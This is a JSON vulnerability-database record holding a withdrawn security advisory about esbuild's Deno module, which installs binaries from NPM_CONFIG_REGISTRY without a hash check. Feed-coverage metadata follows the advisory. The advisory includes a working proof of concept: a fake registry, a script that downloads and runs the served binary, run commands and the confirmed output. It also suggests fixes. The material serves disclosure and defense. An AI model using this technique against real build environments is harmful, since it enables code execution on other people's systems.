{"id":"GHSA-gv7w-rqvm-qjhr","revision":null,"records":[{"revision":"28e06f1c5c7649bca13b0d04949281e7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-gv7w-rqvm-qjhr","aliases":[],"title":"Withdrawn Advisory: esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY","description":"## Withdrawn Advisory\n\nThis advisory has been withdrawn because the affected package was incorrectly identified and the [actual affected package](https://github.com/esbuild/deno-esbuild) is not in a supported ecosystem. This link is maintained to preserve external references.\n\n## Original Description\n\n### Summary\n\nThe esbuild Deno module (`lib/deno/mod.ts`) downloads native binary executables from an npm registry and writes them to disk with executable permissions (`0o755`) **without performing any integrity verification** (e.g., SHA-256 hash check). The Node.js equivalent (`lib/npm/node-install.ts`) includes a robust `binaryIntegrityCheck()` function that verifies SHA-256 hashes against hardcoded expected values from `package.json`, but this protection was never implemented for the Deno distribution.\n\nWhen the `NPM_CONFIG_REGISTRY` environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution.\n\n### Details\n\n**Vulnerable code path** — `lib/deno/mod.ts` lines 62–82:\n\n```typescript\nasync function installFromNPM(name: string, subpath: string): Promise<string> {\n  const { finalPath, finalDir } = getCachePath(name)\n  try { await Deno.stat(finalPath); return finalPath } catch (e) {}\n\n  const npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\"  // line 70: attacker-controlled\n  const url = `${npmRegistry}/${name}/-/${name.replace(\"@esbuild/\", \"\")}-${version}.tgz`     // line 71: URL uses attacker base\n  const buffer = await fetch(url).then(r => r.arrayBuffer())                                  // line 72: download\n  const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath)                   // line 73: extract\n\n  await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })\n  await Deno.writeFile(finalPath, executable, { mode: 0o755 })                                 // line 80: write + chmod\n  return finalPath                                                                              // line 81: no hash check\n}\n```\n\n**Missing protection** — The Node.js equivalent at `lib/npm/node-install.ts` lines 228–234:\n\n```typescript\nfunction binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {\n  const hash = crypto.createHash('sha256').update(bytes).digest('hex')\n  const key = `${pkg}/${subpath}`\n  const expected = packageJSON['esbuild.binaryHashes'][key]\n  if (!expected) throw new Error(`Missing hash for \"${key}\"`)\n  if (hash !== expected) throw new Error(...)\n}\n```\n\nThis function is called in both the `installUsingNPM()` path (line 131) and the `downloadDirectlyFromNPM()` path (line 243), but **no equivalent exists in the Deno module**. Searching the entire git history confirms `binaryIntegrityCheck`, `binaryHashes`, `sha256`, and `hash` have never appeared in `lib/deno/mod.ts`.\n\n**Execution flow after download:** The binary returned by `installFromNPM()` is passed to `spawn()` at line 291 of the same file:\n```typescript\nconst child = spawn(binPath, { args: [`--service=${version}`], ... })\n```\n\n**Attack vector:** The `NPM_CONFIG_REGISTRY` environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary.\n\n### PoC\n\n**Prerequisites:** Deno runtime, Node.js (for fake registry)\n\n**Step 1:** Create a fake npm registry that serves a malicious binary:\n\n```javascript\n// fake-registry.js\nconst http = require('http');\nconst zlib = require('zlib');\nhttp.createServer((req, res) => {\n  const fakeBin = '#!/bin/sh\\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\\necho fake-esbuild-0.28.0\\n';\n  // ... build tar.gz with fake binary as package/bin/esbuild ...\n  res.writeHead(200, {'Content-Length': gz.length});\n  res.end(gz);\n}).listen(19876, () => console.log('READY'));\n```\n\n**Step 2:** Run the PoC with `NPM_CONFIG_REGISTRY` pointing to the fake server:\n\n```typescript\n// poc.ts — mimics lib/deno/mod.ts installFromNPM code path\nconst npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\";\nconst url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;\nconst buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());\n// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...\nawait Deno.writeFile(\"/tmp/downloaded-binary\", executable, { mode: 0o755 });\n// *** NO integrity check performed ***\nconst cmd = new Deno.Command(\"/tmp/downloaded-binary\");\nawait cmd.output(); // RCE: executes attacker-controlled binary\n```\n\n**Step 3:** Run:\n```bash\nnode fake-registry.js &\nNPM_CONFIG_REGISTRY=\"http://127.0.0.1:19876\" deno run --allow-all poc.ts\ncat /tmp/deno-esbuild-rce-proof.txt  # Output: PWNED\n```\n\n**Observed output in this environment:**\n```\nDownload URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz\nBinary written to: /tmp/deno-poc/downloaded-binary\nBinary content: #!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n\nExecuting downloaded binary...\nstdout: fake-esbuild-0.28.0\n\n*** RCE CONFIRMED ***\nMarker file content: PWNED\n```\n\n**Build-local verification — using the actual built `deno/mod.js`:**\n\nThe esbuild Deno module was built from source (`node scripts/esbuild.js ./esbuild --deno`) producing `deno/mod.js`. The fake registry test was then re-run using the **actual module** via `import * as esbuild from \"file:///path/to/deno/mod.js\"`, triggering the real `installFromNPM()` → `installFromNPM()` code path:\n\n```\n[TEST] esbuild Deno module loaded\n[TEST] esbuild version: 0.28.0\n\n[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***\n[TEST] Marker file content: VULN-CONFIRMED\n[TEST] The actual built deno/mod.js downloaded and executed\n[TEST] a malicious binary from the fake registry WITHOUT\n[TEST] performing any SHA-256 integrity verification.\n```\n\nThe malicious binary was cached at `~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0` with contents:\n```\n#!/bin/sh\necho \"VULN-CONFIRMED\" > /tmp/esbuild-deno-verify-rce.txt\necho \"0.28.0\"\n```\n\nBuilt-in Deno module (`deno/mod.js`) confirmed to contain `NPM_CONFIG_REGISTRY` usage (line 1900) and zero references to `binaryIntegrityCheck`, `binaryHashes`, `sha256`, or `crypto.createHash`.\n\n**Negative/control case — Node.js rejects the same fake binary:**\n```\nFake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1\nExpected hash:       aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be\nHashes match: false\n=> Node.js path REJECTS the fake binary (hash mismatch)\n=> Deno path ACCEPTS it without any check\n```\n\n### Impact\n\nAn attacker who can control the `NPM_CONFIG_REGISTRY` environment variable in a Deno project using esbuild can achieve **arbitrary code execution** with the privileges of the Deno process. This is particularly relevant in:\n\n- **CI/CD pipelines** where `NPM_CONFIG_REGISTRY` is commonly set to point to internal artifact repositories\n- **Shared development environments** where environment variables may be inherited from parent processes\n- **Corporate networks** where npm registry mirrors are configured via this environment variable\n\nThe attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry.\n\n### Suggested remediation\n\n1. **Add SHA-256 integrity verification to the Deno module**, mirroring the existing `binaryIntegrityCheck()` function from `lib/npm/node-install.ts`:\n\n```typescript\n// In lib/deno/mod.ts, after extracting the binary:\nconst hashBuffer = await crypto.subtle.digest(\"SHA-256\", executable);\nconst hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');\nconst key = `${name}/${subpath}`;\nconst expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest\nif (hash !== expected) throw new Error(`Binary integrity check failed for \"${key}\"`);\n```\n\n2. **Validate the `NPM_CONFIG_REGISTRY` URL** to ensure it uses HTTPS (or at minimum warn about HTTP):\n\n```typescript\nconst npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\";\nif (npmRegistry.startsWith(\"http://\")) {\n  console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);\n}\n```\n\n3. **Add `ESBUILD_BINARY_PATH` validation** in the Deno module, mirroring the `isValidBinaryPath()` check from `lib/npm/node-platform.ts`.\n\n**Regression test suggestion:** Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.","state":2,"publishedAt":"2026-06-12T20:08:59+00:00","modifiedAt":"2026-09-10T03:50:49.6785158+00:00","affected":[{"ecosystem":"npm","name":"esbuild","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.17.0"},{"kind":"fixed","version":"0.28.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr","https://github.com/evanw/esbuild","https://github.com/evanw/esbuild/releases/tag/v0.28.1"],"sourceUrl":"https://github.com/advisories/GHSA-gv7w-rqvm-qjhr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gv7w-rqvm-qjhr","identifiers":["GHSA-gv7w-rqvm-qjhr"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T12:00:55.3946839+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T12:00:55.3946839+00:00","lastSuccessAt":"2026-11-15T12:00:55.579435+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.5794357+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-9f2801eea6d0b63da2583193add6be220e1b53bbbe4ef94b9346425ef1596ca8","complete":true,"records":425788,"lastAttemptAt":"2026-11-15T12:00:54.4294537+00:00","lastSuccessAt":"2026-11-15T12:00:54.4082037+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:54.4294537+00:00","snapshotPublishedAt":"2026-11-15T11:26:58+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-850c26e23e9a454eb8654cf34d45fa51","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T12:10:42.9128167+00:00","lastSuccessAt":"2026-11-15T12:10:42.908+00:00","error":"92 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T12:10:42.908+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13568,"expectedIdentifiers":13874,"failedIdentifiers":92},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T12:00:55.3946839+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T12:00:55.3946839+00:00","lastSuccessAt":"2026-11-15T12:00:55.580236+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.580236+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d33b5144615b488f88b7a7390696bc39","complete":false,"records":13833,"lastAttemptAt":"2026-11-15T12:01:03.1788889+00:00","lastSuccessAt":"2026-11-15T10:02:36.038+00:00","error":"1 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T10:02:36.038+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13873,"expectedIdentifiers":13874,"failedIdentifiers":1},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T12:00:55.0947737+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.0947737+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T12:00:54.588948+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:54.588948+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T12:00:55.3229475+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.3229475+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T12:00:54.6916951+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:54.6916951+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}